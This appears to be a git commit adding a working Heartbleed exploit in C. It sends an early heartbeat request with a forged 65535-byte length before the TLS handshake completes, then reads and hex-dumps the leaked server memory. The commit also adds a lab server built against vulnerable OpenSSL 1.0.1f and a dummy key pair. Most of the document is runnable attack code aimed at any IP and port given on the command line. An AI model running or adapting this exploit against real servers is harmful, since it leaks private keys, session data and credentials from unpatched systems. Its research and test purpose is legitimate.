tls_heartbleed_early master
authorGeorgios Kontaxis <redacted>
Tue, 16 Feb 2016 02:37:27 +0000 (21:37 -0500)
committerGeorgios Kontaxis <redacted>
Tue, 16 Feb 2016 02:37:27 +0000 (21:37 -0500)
Makefile [new file with mode: 0644]
dummy_ssl_server/dummy-cert.pem [new file with mode: 0644]
dummy_ssl_server/dummy-key.pem [new file with mode: 0644]
dummy_ssl_server/openssl-1.0.1f.tar.gz [new file with mode: 0644]
dummy_ssl_server/ssl_server.c [new file with mode: 0644]
tls_heartbleed_early.c [new file with mode: 0644]

diff --git a/Makefile b/Makefile
new file mode 100644 (file)
index 0000000..97a5dc2
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,27 @@
+.PHONY: all clean
+
+all: tls_heartbleed_early server
+
+tls_heartbleed_early:
+       gcc -Wall tls_heartbleed_early.c -o tls_heartbleed_early
+
+server: dummy_ssl_server/openssl-1.0.1f
+       gcc -Wall dummy_ssl_server/ssl_server.c      \
+               -Idummy_ssl_server/openssl-1.0.1f/include/ \
+               -Ldummy_ssl_server/openssl-1.0.1f/         \
+               -lssl -lcrypto -ldl -o server           && \
+       ln -s dummy_ssl_server/dummy-cert.pem .   && \
+       ln -s dummy_ssl_server/dummy-key.pem  .
+
+dummy_ssl_server/openssl-1.0.1f:
+       cd dummy_ssl_server           && \
+       tar zxf openssl-1.0.1f.tar.gz && \
+       cd openssl-1.0.1f             && \
+       ./config && make              && \
+       cd ../                        && \
+       cd ../
+
+clean:
+       rm -f tls_heartbleed_early
+       rm -f server dummy-cert.pem dummy-key.pem
+       rm -rf dummy_ssl_server/openssl-1.0.1f
diff --git a/dummy_ssl_server/dummy-cert.pem b/dummy_ssl_server/dummy-cert.pem
new file mode 100644 (file)
index 0000000..6158899
--- /dev/null
@@ -0,0 +1,21 @@
+-----BEGIN CERTIFICATE-----
+MIIDXTCCAkWgAwIBAgIJAKTMoXgojkcMMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV
+BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
+aWRnaXRzIFB0eSBMdGQwHhcNMTQwNDIzMDMyMjAwWhcNMTUwNDIzMDMyMjAwWjBF
+MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
+ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
+CgKCAQEAsSP0RprDe4JhpKX1fW6RmJQjZSBCITeIdRw2bVjHDo+mklCEctK93Als
+Q1qdyb+dJj53BHGoVLP1f5zVGcTynjj7TsKzWt8kSfgV1lrVZ4UHe9URdYSW9q8u
+9Uy7DjpT2xckWfZB1NTUuamAtRfhYBCx0ppNlxxmmhRZjr5/79h1ECSccWsf4/AU
+xCCxJmT9rX/mBFT/DQIsJQ2sVN1YUJBgqNpDDqEXFSV+yk+lPOqUwOBCBhRfnv4H
+k4Wq+dA23847YvEuRzVoFq7ghXYRtwrwYCrQwah4ZLb8vHZSXmNFi0AWzQMWZOWK
+z1G2W6LAyl6TFtf8908RvbjhDA9WMwIDAQABo1AwTjAdBgNVHQ4EFgQUD4WEKQNg
+GdbCCeBk3n+I9LpUSIkwHwYDVR0jBBgwFoAUD4WEKQNgGdbCCeBk3n+I9LpUSIkw
+DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAhA1M3/U5rTHzECgEFw/p
+Kt+yM1kpXe/iKCINM5GJ2wrKwuXooVzk6Kq6sCWmKZEaizs8O2thflqIzjvWGbPW
+oDO0l8vAIKJmXV1MeUYU08ErgCmA6AJrg8PKQyNXUqV+sEMMhvvDnKUWBXDWUQA6
+YYU5w4P7y+ZQlI8zmJ4OYigzWuLvT7MvddRrunFDTkjksfjbNcHZp4XfxcJXKWP/
+PgKDpKydvGfxsYp42VM/jTs8X5aDgp1otJlcBJMAgTNH/abc2qeSF6GIaTKhm+xa
+ue14X19qw/GDT7TB4Qb/3CXheaXnSPGQZbyY9BXJgg3OR14QkeccXzRvAr7F7jzZ
+CA==
+-----END CERTIFICATE-----
diff --git a/dummy_ssl_server/dummy-key.pem b/dummy_ssl_server/dummy-key.pem
new file mode 100644 (file)
index 0000000..4f34074
--- /dev/null
@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAsSP0RprDe4JhpKX1fW6RmJQjZSBCITeIdRw2bVjHDo+mklCE
+ctK93AlsQ1qdyb+dJj53BHGoVLP1f5zVGcTynjj7TsKzWt8kSfgV1lrVZ4UHe9UR
+dYSW9q8u9Uy7DjpT2xckWfZB1NTUuamAtRfhYBCx0ppNlxxmmhRZjr5/79h1ECSc
+cWsf4/AUxCCxJmT9rX/mBFT/DQIsJQ2sVN1YUJBgqNpDDqEXFSV+yk+lPOqUwOBC
+BhRfnv4Hk4Wq+dA23847YvEuRzVoFq7ghXYRtwrwYCrQwah4ZLb8vHZSXmNFi0AW
+zQMWZOWKz1G2W6LAyl6TFtf8908RvbjhDA9WMwIDAQABAoIBAE6N+jsBUOVJyZFh
+g39PdEOslhG3f3wJi3sbuss9DnFXpO/HwyTEbivRBfDMk6KvVbprAw62dIazk5A2
+9Y3K+CjQbincT/thb09aNBzuBSs2JD53G5n45ZWZ1II1t9I0bZGALr+yZDlE9N0s
+3QXyBCE85g7WHMiBcMKteZXCxyuOHmNBWR5yAttrvf3jEztrnbj7Ti517nENjcTv
+732Hm084bJTRv1lpY2QV2zIYooyoZi8/oq9c19suyTqcZN1V33ycE5/qim6McThL
+lCWCUmxGrh18ZHJBMeBjMbNsleEpPshtK01WqfrbCShnLevVtG79ere808ykt9uq
+T2ZMnWECgYEA1lyJ/xVNh81BcfHmaw+VDwkNTnjchizJAr4JaUpFpmqPmgA6rvAm
+0gowzuoZgGLxfkS6mic3cCXePYZbNeyI4tqF/bFYM2KmY8x2Syz0S1Vhyq4rkyIG
+e5QHuotBEZTP8/+ogkykAW2Jp2ZR6w7U6YRduup+2pu/xNRs/TA1mdECgYEA04yK
+cqiE2leK1bg9+yj6Akeq//ZVbtocOj+nfw7dIiMi0ooFGDEKEcO/AX7PJBvlWXeu
+y4t4AZwJBArzDoPcPJO8fivyDEwqLf3POvzlGYBmvKTt/E2e1T4TfTiUAv+UN62B
+TA5ocUY0B6uxncTd1a6K8iW+8ANh8zqmWi+nbMMCgYBqPYkDTKqVUMxLzek2TI3C
+2uimaM5bDZ0+Z7NAZNgqR4wOdmifRVToKrbQBkRHVkJ8I1Icjq0yPwJrmchg7G9X
+h5h7CMc/CHiQ48gJMCmPoKyMCFB+ZpGx88b01ImWThvWwXHhylxKfOCJf/O/vSUW
+60yNFCV08VZVFjdCMP+P0QKBgQCUOgVIEYwE8RH2bgH/2dZTgqPudUunQGxG5BMY
+k/Gd2cCshMjNCo9joyRSh+fcBS/OYG25cR/FAO/QRVvI79uBFoMcZO5Ub4mecBij
+3E8qby2NQIMAJeMEx1ogg2QyNaJE4O2XvQCxXd9XAJaTVT2aW5I/2PLQeY5IPvAQ
+gRNuwQKBgH/EvO+T4ahma6CSQwUe0A35IsR+E5sSj/ToedowgFSJh6MTxy0nqVOZ
+7ZutdSq+KidclSnXqjZFDnoI+qmSjN6TefPXHWHIbW/v9EJVPbRVuXFF/jfFZiIa
+G4UlVZRrKcpsFvFE3GXPx611K38ytAq+BWs4TGWlzSKvgJrZmMaW
+-----END RSA PRIVATE KEY-----
diff --git a/dummy_ssl_server/openssl-1.0.1f.tar.gz b/dummy_ssl_server/openssl-1.0.1f.tar.gz
new file mode 100644 (file)
index 0000000..4270be9
Binary files /dev/null and b/dummy_ssl_server/openssl-1.0.1f.tar.gz differ
diff --git a/dummy_ssl_server/ssl_server.c b/dummy_ssl_server/ssl_server.c
new file mode 100644 (file)
index 0000000..512451b
--- /dev/null
@@ -0,0 +1,196 @@
+/* ssl_server.c\r
+ *\r
+ * Copyright (c) 2000 Sean Walton and Macmillan Publishers.  Use may be in\r
+ * whole or in part in accordance to the General Public License (GPL).\r
+ *\r
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\r
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\r
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\r
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\r
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\r
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\r
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\r
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\r
+ * SUCH DAMAGE.\r
+*/\r
+\r
+/*****************************************************************************/\r
+/*** ssl_server.c                                                          ***/\r
+/***                                                                       ***/\r
+/*** Demonstrate an SSL server.                                            ***/\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <errno.h>\r
+#include <unistd.h>\r
+#include <malloc.h>\r
+#include <string.h>\r
+#include <sys/socket.h>\r
+#include <resolv.h>\r
+#include <openssl/ssl.h>\r
+#include <openssl/err.h>\r
+\r
+#include <arpa/inet.h>\r
+\r
+#define FAIL    -1\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- OpenListener - create server socket                           ---*/\r
+/*---------------------------------------------------------------------*/\r
+int OpenListener(int port)\r
+{   int sd;\r
+    struct sockaddr_in addr;\r
+\r
+    sd = socket(PF_INET, SOCK_STREAM, 0);\r
+    int one = 1;\r
+    setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&one, sizeof(one));\r
+    bzero(&addr, sizeof(addr));\r
+    addr.sin_family = AF_INET;\r
+    addr.sin_port = htons(port);\r
+    addr.sin_addr.s_addr = INADDR_ANY;\r
+    if ( bind(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 )\r
+    {\r
+        perror("can't bind port");\r
+        abort();\r
+    }\r
+    if ( listen(sd, 10) != 0 )\r
+    {\r
+        perror("Can't configure listening port");\r
+        abort();\r
+    }\r
+    return sd;\r
+}\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- InitServerCTX - initialize SSL server  and create context     ---*/\r
+/*---------------------------------------------------------------------*/\r
+SSL_CTX* InitServerCTX(void)\r
+{   const SSL_METHOD *method;\r
+    SSL_CTX *ctx;\r
+\r
+               SSL_library_init();\r
+    OpenSSL_add_all_algorithms();              /* load & register all cryptos, etc. */\r
+    SSL_load_error_strings();                  /* load all error messages */\r
+    method = SSLv3_server_method();            /* create new server-method instance */\r
+    ctx = SSL_CTX_new(method);                 /* create new context from method */\r
+    if ( ctx == NULL )\r
+    {\r
+        ERR_print_errors_fp(stderr);\r
+        abort();\r
+    }\r
+    return ctx;\r
+}\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- LoadCertificates - load from files.                           ---*/\r
+/*---------------------------------------------------------------------*/\r
+void LoadCertificates(SSL_CTX* ctx, char* CertFile, char* KeyFile)\r
+{\r
+       /* set the local certificate from CertFile */\r
+    if ( SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0 )\r
+    {\r
+        ERR_print_errors_fp(stderr);\r
+        abort();\r
+    }\r
+    /* set the private key from KeyFile (may be the same as CertFile) */\r
+    if ( SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0 )\r
+    {\r
+        ERR_print_errors_fp(stderr);\r
+        abort();\r
+    }\r
+    /* verify private key */\r
+    if ( !SSL_CTX_check_private_key(ctx) )\r
+    {\r
+        fprintf(stderr, "Private key does not match the public certificate\n");\r
+        abort();\r
+    }\r
+}\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- ShowCerts - print out certificates.                           ---*/\r
+/*---------------------------------------------------------------------*/\r
+void ShowCerts(SSL* ssl)\r
+{   X509 *cert;\r
+    char *line;\r
+\r
+    cert = SSL_get_peer_certificate(ssl);      /* Get certificates (if available) */\r
+    if ( cert != NULL )\r
+    {\r
+        printf("Server certificates:\n");\r
+        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);\r
+        printf("Subject: %s\n", line);\r
+        free(line);\r
+        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);\r
+        printf("Issuer: %s\n", line);\r
+        free(line);\r
+        X509_free(cert);\r
+    }\r
+    else\r
+        printf("No certificates.\n");\r
+}\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- Servlet - SSL servlet (contexts can be shared)                ---*/\r
+/*---------------------------------------------------------------------*/\r
+void Servlet(SSL* ssl) /* Serve the connection -- threadable */\r
+{   char buf[1024];\r
+    char reply[1024];\r
+    int sd, bytes;\r
+    const char* HTMLecho="<html><body><pre>%s</pre></body></html>\n\n";\r
+\r
+    if ( SSL_accept(ssl) == FAIL )                                     /* do SSL-protocol accept */\r
+        ERR_print_errors_fp(stderr);\r
+    else\r
+    {\r
+        ShowCerts(ssl);                                                                /* get any certificates */\r
+        bytes = SSL_read(ssl, buf, sizeof(buf));       /* get request */\r
+        if ( bytes > 0 )\r
+        {\r
+            buf[bytes] = 0;\r
+            printf("Client msg: \"%s\"\n", buf);\r
+            sprintf(reply, HTMLecho, buf);                     /* construct reply */\r
+            SSL_write(ssl, reply, strlen(reply));      /* send reply */\r
+        }\r
+        else\r
+            ERR_print_errors_fp(stderr);\r
+    }\r
+    sd = SSL_get_fd(ssl);                                                      /* get socket connection */\r
+    SSL_free(ssl);                                                                     /* release SSL state */\r
+    close(sd);                                                                         /* close connection */\r
+}\r
+\r
+/*---------------------------------------------------------------------*/\r
+/*--- main - create SSL socket server.                              ---*/\r
+/*---------------------------------------------------------------------*/\r
+int main(int count, char *strings[])\r
+{   SSL_CTX *ctx;\r
+    int server;\r
+    char *portnum;\r
+\r
+    if ( count != 2 )\r
+    {\r
+        printf("Usage: %s <portnum>\n", strings[0]);\r
+        exit(0);\r
+    }\r
+    portnum = strings[1];\r
+    ctx = InitServerCTX();                                                             /* initialize SSL */\r
+    LoadCertificates(ctx, "dummy-cert.pem", "dummy-key.pem");  /* load certs */\r
+    server = OpenListener(atoi(portnum));                              /* create server socket */\r
+    while (1)\r
+    {   struct sockaddr_in addr;\r
+        socklen_t len = sizeof(addr);\r
+        SSL *ssl;\r
+\r
+        int client = accept(server, (struct sockaddr*)&addr, &len);            /* accept connection as usual */\r
+        printf("Connection: %s:%d\n",\r
+               inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));\r
+        ssl = SSL_new(ctx);                                            /* get new SSL state with context */\r
+        SSL_set_fd(ssl, client);                                               /* set connection socket to SSL state */\r
+        Servlet(ssl);                                                                  /* service connection */\r
+    }\r
+    close(server);                                                                             /* close server socket */\r
+    SSL_CTX_free(ctx);                                                                 /* release context */\r
+}\r
+\r
diff --git a/tls_heartbleed_early.c b/tls_heartbleed_early.c
new file mode 100644 (file)
index 0000000..fb0a87b
--- /dev/null
@@ -0,0 +1,359 @@
+/*
+ * This program sends an SSL 3 ClientHello message with the Heartbeat
+ * extension and immediately requests a heartbeat from the server without
+ * completing the TLS handshake.
+ *
+ * RFC 5246 states that "a HeartbeatRequest message SHOULD NOT be sent during
+ * handshakes. If a handshake is initiated while a HeartbeatRequest is still
+ * in flight, the sending peer MUST stop the DTLS retransmission timer for it.
+ * The receiving peer SHOULD discard the message silently, if it arrives
+ * during the handshake."
+ *
+ * This test program should NOT get back a heartbeat response.
+ * However, servers linked to OpenSSL 1.0.1f will respond to such early
+ * heartbeat requests. This makes them vulnerable to Heartbleed even if
+ * they require client-side certificates to complete the TLS handshake.
+ * Had OpenSSL correctly implemented the RFC this would not have been an
+ * issue.
+ *
+ * - https://tools.ietf.org/html/rfc6101
+ * - https://tools.ietf.org/html/rfc6520
+ *
+ * kontaxis 2014-04-24
+ */
+
+#include <stdio.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+
+#include <openssl/ssl.h>
+#include <openssl/ssl3.h>
+
+struct __attribute__((__packed__))
+{
+       /* TLSPlaintext 5 bytes */
+       uint8_t  TLSPlaintext__type;
+       uint8_t  TLSPlaintext__versionMajor;
+       uint8_t  TLSPlaintext__versionMinor;
+       uint16_t TLSPlaintext__length;
+       /* HeartbeatMessage 20 bytes */
+       uint8_t  Heartbeat__type;
+       uint16_t Heartbeat__payload_length;
+       uint8_t  Heartbeat__payload[1];
+       uint8_t  Heartbeat__padding[16];
+} payload_heartbeat_req =
+{
+       /* TLSPlainText */
+       .TLSPlaintext__type = TLS1_RT_HEARTBEAT,
+       .TLSPlaintext__versionMajor = 0x3,
+       .TLSPlaintext__versionMinor = 0x0,
+       .TLSPlaintext__length = 0x1400, /* 20 */
+       /* Heartbeat request */
+       .Heartbeat__type = 0x1,
+       .Heartbeat__payload_length = 0xffff, /* Erroneous length (65535 bytes) */
+       .Heartbeat__payload = {0x41} /* Actual payload is 1 byte */
+       /* Heartbeat__padding */
+};
+
+struct __attribute__((__packed__))
+{
+       /* TLSPlaintext 5 bytes */
+       uint8_t  TLSPlaintext__type;
+       uint8_t  TLSPlaintext__versionMajor;
+       uint8_t  TLSPlaintext__versionMinor;
+       uint16_t TLSPlaintext__length;
+       /* Handshake 4 bytes */
+       uint8_t  Handshake__type;
+       uint8_t  Handshake__length[3];
+       /* ClientHello 50 bytes */
+       uint8_t  ClientHello__versionMajor;
+       uint8_t  ClientHello__versionMinor;
+       uint32_t ClientHello__random_gmt_unix_time;
+       uint8_t  ClientHello__random_bytes[28];
+       uint8_t  ClientHello__session_id_length;
+       uint16_t ClientHello__cipher_suites_length;
+       uint16_t ClientHello__cipher_suites[2];
+       uint8_t  ClientHello__compression_methods_length;
+       uint8_t  ClientHello__compression_methods[1];
+       uint16_t ClientHello__extensions_length;
+       uint16_t ClientHello__extension_type;
+       uint16_t ClientHello__extension_length;
+       uint8_t  ClientHello__extension_mode;
+} payload_clienthello =
+{
+       /* TLSPlainText */
+       .TLSPlaintext__type = SSL3_RT_HANDSHAKE,
+       .TLSPlaintext__versionMajor = 0x3,
+       .TLSPlaintext__versionMinor = 0x0,
+       .TLSPlaintext__length = 0x3600, /* 54 */
+       /* Handshake */
+       .Handshake__type = 0x1, /* ClientHello */
+       .Handshake__length = {0x00, 0x00, 0x32}, /* 50 */
+       /* ClientHello */
+       .ClientHello__versionMajor = 0x3,
+       .ClientHello__versionMinor = 0x0,
+       /* ClientHello__random_gmt_unix_time */
+       /* ClientHello__random_bytes */
+       .ClientHello__session_id_length = 0x0,
+       .ClientHello__cipher_suites_length = 0x0400,
+       // NULL cipher
+       // TLS_RSA_WITH_AES_256_CBC_SHA
+       .ClientHello__cipher_suites = {0x0000, 0x3500},
+       .ClientHello__compression_methods_length = 0x1,
+       .ClientHello__compression_methods = {0x0},
+       .ClientHello__extensions_length = 0x0500,
+       .ClientHello__extension_length = 0x0100,
+       .ClientHello__extension_type = 0x0f00, /* 0x000f Heartbeat */
+       .ClientHello__extension_length = 0x0100,
+       .ClientHello__extension_mode = 0x1
+};
+
+struct __attribute__((__packed__))
+{
+       /* TLSPlaintext 5 bytes */
+       uint8_t  TLSPlaintext__type; /* ContentType */
+       uint8_t  TLSPlaintext__versionMajor;
+       uint8_t  TLSPlaintext__versionMinor;
+       uint16_t TLSPlaintext__length;
+} tls_TLSPlaintext_header;
+
+/*
+ * Reads from fd as many times necessary to return exactly 'count' bytes.
+ */
+ssize_t read_bytes(int fd, void *buf, size_t count)
+{
+  size_t i = 0;
+  ssize_t r;
+
+  while (i < count) {
+    r = read(fd, buf + i, count - i);
+    if (r == 0 || r == -1) {
+                       if (r == 0) {
+#if __DEBUG__
+                               fprintf(stderr, "EOF or peer has performed socket shutdown.\n");
+#endif
+                       } else {
+             perror("read");
+                       }
+      return r;
+    }
+    i += r;
+  }
+
+  return count;
+}
+
+void print_usage (char *s)
+{
+       if (!s) {
+               return;
+       }
+
+       fprintf(stderr, "Usage: %s "
+               "-t <destination IP address> [-p <destination TCP port>]\n", s);
+}
+
+#define OPT_TARGET_HOST ((0x1 << 0) & 0xFF)
+#define OPT_TARGET_PORT ((0x1 << 1) & 0xFF)
+#define OPT_VERBOSE     ((0x1 << 2) & 0xFF)
+
+int main(int argc, char**argv)
+{
+       int i;
+
+       struct sockaddr_in servaddr;
+       bzero(&servaddr, sizeof(servaddr));
+       servaddr.sin_family = AF_INET;
+       servaddr.sin_port = htons(443); /* Default */
+
+       uint8_t opt_flags;
+
+       opt_flags = 0;
+
+       while ((i = getopt(argc, argv, "ht:p:v")) != -1) {
+               switch(i) {
+                       case 'h':
+                               print_usage(argv[0]);
+                               exit(1);
+                               break;
+                       case 'p':
+                               servaddr.sin_port = htons((uint16_t)atoi(optarg));
+                               opt_flags |= OPT_TARGET_PORT;
+                               break;
+                       case 't':
+                               servaddr.sin_addr.s_addr = inet_addr(optarg);
+                               opt_flags |= OPT_TARGET_HOST;
+                               break;
+                       case 'v':
+                               opt_flags |= OPT_VERBOSE;
+                               break;
+                       default:
+                               break;
+               }
+       }
+
+       if (!(opt_flags & OPT_TARGET_HOST)) {
+               print_usage(argv[0]);
+               exit(1);
+       }
+
+       int sockfd;
+
+       sockfd = socket(AF_INET, SOCK_STREAM, 0);
+
+       if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) {
+               perror("connect");
+               exit(1);
+       }
+
+       fprintf(stdout, "- Connection established.\n");
+
+       unsigned int r;
+
+       /* Send ClientHello to initiate SSL handshake. */
+       r = write(sockfd, &payload_clienthello, sizeof(payload_clienthello));
+       if (r < sizeof(payload_clienthello)) {
+               perror("write");
+               exit(1);
+       }
+
+       fprintf(stdout, "> ClientHello\n");
+
+       /* Naive handling of server's response to ClientHello;
+        * read and discard ServerHello, Certificate, ClientHelloDone.
+        */
+
+       /* Read ServerHello. */
+       if (read_bytes(sockfd, &tls_TLSPlaintext_header,
+               sizeof(tls_TLSPlaintext_header)) <= 0) {
+               exit(1);
+       }
+
+       if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) {
+               fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n",
+                       tls_TLSPlaintext_header.TLSPlaintext__type);
+               exit(1);
+       }
+
+       fprintf(stdout, "< ServerHello\n");
+
+       uint8_t buffer[0xFFFF];
+
+       /* Consume and ignore ServerHello payload. */
+       if (read_bytes(sockfd, buffer,
+               ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) {
+               exit(1);
+       }
+
+       /* Read Certificate. */
+       if (read_bytes(sockfd, &tls_TLSPlaintext_header,
+               sizeof(tls_TLSPlaintext_header)) <= 0) {
+               exit(1);
+       }
+
+       if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) {
+               fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n",
+                       tls_TLSPlaintext_header.TLSPlaintext__type);
+               exit(1);
+       }
+
+       fprintf(stdout, "< Certificate\n");
+
+       /* Consume and ignore Certificate payload. */
+       if (read_bytes(sockfd, buffer,
+               ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) {
+               exit(1);
+       }
+
+       /* Read ServerHelloDone. */
+       if (read_bytes(sockfd, &tls_TLSPlaintext_header,
+               sizeof(tls_TLSPlaintext_header)) <= 0) {
+               exit(1);
+       }
+
+       if (tls_TLSPlaintext_header.TLSPlaintext__type != SSL3_RT_HANDSHAKE) {
+               fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n",
+                       tls_TLSPlaintext_header.TLSPlaintext__type);
+               exit(1);
+       }
+
+       fprintf(stdout, "< ServerHelloDone\n");
+
+       /* Consume and ignore ServerHelloDone payload. */
+       if (read_bytes(sockfd, buffer,
+               ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) {
+               exit(1);
+       }
+
+       /* Send Heartbeat request to elicit Heartbleed response. */
+       r = write(sockfd, &payload_heartbeat_req, sizeof(payload_heartbeat_req));
+       if (r < sizeof(payload_heartbeat_req)) {
+               perror("write");
+               exit(1);
+       }
+
+       fprintf(stdout, "> Heartbeat request\n");
+
+       /* Read Heartbeat response here. */
+       uint32_t heartbeat_response_bytes = 0;
+       while(heartbeat_response_bytes <
+               payload_heartbeat_req.Heartbeat__payload_length)
+       {
+               if (read_bytes(sockfd, &tls_TLSPlaintext_header,
+                       sizeof(tls_TLSPlaintext_header)) <= 0) {
+                       exit(1);
+               }
+
+               if (tls_TLSPlaintext_header.TLSPlaintext__type != TLS1_RT_HEARTBEAT) {
+                       fprintf(stderr, "Unexpected TLSPlaintext__type 0x%x\n",
+                               tls_TLSPlaintext_header.TLSPlaintext__type);
+                       exit(1);
+               }
+
+               fprintf(stdout, "< Heartbeat response (%d bytes)\n",
+                       ntohs(tls_TLSPlaintext_header.TLSPlaintext__length));
+
+               heartbeat_response_bytes +=
+                       ntohs(tls_TLSPlaintext_header.TLSPlaintext__length);
+
+               fprintf(stdout, "- Read %d Heartbeat response bytes so far.\n",
+                       heartbeat_response_bytes);
+
+               if (read_bytes(sockfd, buffer,
+                       ntohs(tls_TLSPlaintext_header.TLSPlaintext__length)) <= 0) {
+                       exit(1);
+               }
+
+               if (!(opt_flags & OPT_VERBOSE)) {
+                       continue;
+               }
+
+               for (i = 0; i < ntohs(tls_TLSPlaintext_header.TLSPlaintext__length); i++) {
+                       /* Line offset */
+                       if ((i) % 16 == 0) {
+                               fprintf(stdout, "%04x  ", i);
+                       }
+
+                       fprintf(stdout, "%02x ", buffer[i]);
+
+                       /* Organize bytes in groups of 8. */
+                       if ((i + 1) % 8 == 0) {
+                               fprintf(stdout, " ");
+                       }
+
+                       if ((i + 1) % 16 == 0) {
+                               fprintf(stdout, "\n");
+                       }
+               }
+               fprintf(stdout, "\n");
+       }
+
+       return 0;
+}
git clone https://git.99rst.org/PROJECT